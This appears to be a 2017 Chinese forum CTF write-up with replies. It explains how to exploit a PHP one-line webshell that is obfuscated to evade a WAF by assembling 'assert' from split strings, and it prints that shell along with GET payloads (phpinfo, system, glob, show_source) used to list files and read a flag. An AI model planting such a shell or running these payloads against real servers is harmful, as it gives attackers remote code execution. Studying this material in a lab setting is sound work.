[Writeup] “过狗一句话”解题思路

[复制链接]
查看10357 | 回复7 | 2017-6-9 22:15:21 | 显示全部楼层 |阅读模式
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>


上来就给出了一句话   猜想是直接利用一句话   于是构造payload
http://120.24.86.145:8010/index.php?s=phpinfo();
1.png
发现成功执行。于是尝试能否执行cmd命令
http://120.24.86.145:8010/index.php?s=system('ls');
发现返回空白页面  没有任何信息说明执行失败,这里猜想是权限被控制了于是用另一种方法来读取文件
http://120.24.86.145:8010/index.php?s=print_r(glob('*.php'));  
2.png
发现只回显了一个index.php页面于是修改后缀
http://120.24.86.145:8010/index.php?s=print_r(glob('*.txt')); 发现有一个txt文件于是尝试读取
3.png
http://120.24.86.145:8010/index.php?s=show_source('ds231e.txt');
成功getflag
这里可以用其他方式读取 :
var_dump(file("./ds231e.txt"));
print_r(file("./ds231e.txt"));

注:glob() 函数返回匹配指定模式的文件名或目录。该函数返回一个包含有匹配文件 / 目录的数组。




回复

使用道具 举报

匿名 yy-yy | 2017-6-9 23:12:39 | 显示全部楼层
scandir()也行
回复

使用道具 举报

匿名 yy-yy | 2017-6-9 23:17:53 | 显示全部楼层
选区_003.png

评分

参与人数 1银两 +1 收起 理由
wasrehpic + 1 赞一个!

查看全部评分

回复

使用道具 举报

Be_easy | 2017-6-16 07:37:19 | 显示全部楼层
为表哥递茶
回复

使用道具 举报

tinyfisher | 2017-7-26 10:39:40 | 显示全部楼层
可以用菜刀连吗
回复

使用道具 举报

sccdlth | 2017-7-31 17:05:21 | 显示全部楼层
大佬~ 我是getshell之后才找到的flag~
回复

使用道具 举报

匿名 whereisflag | 2018-6-2 15:54:11 | 显示全部楼层
楼主的思路复杂了一点,我列目录用的是print_r(scandir(getcwd())),直接把整个目录列了出来。后面txt文件的读取直接访问就可以了
回复

使用道具 举报

Mr.轻熟男 | 2019-1-16 10:25:14 | 显示全部楼层
给大佬倒水~~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

9

主题

21

帖子

74

积分

版主

Rank: 7Rank: 7Rank: 7

积分
74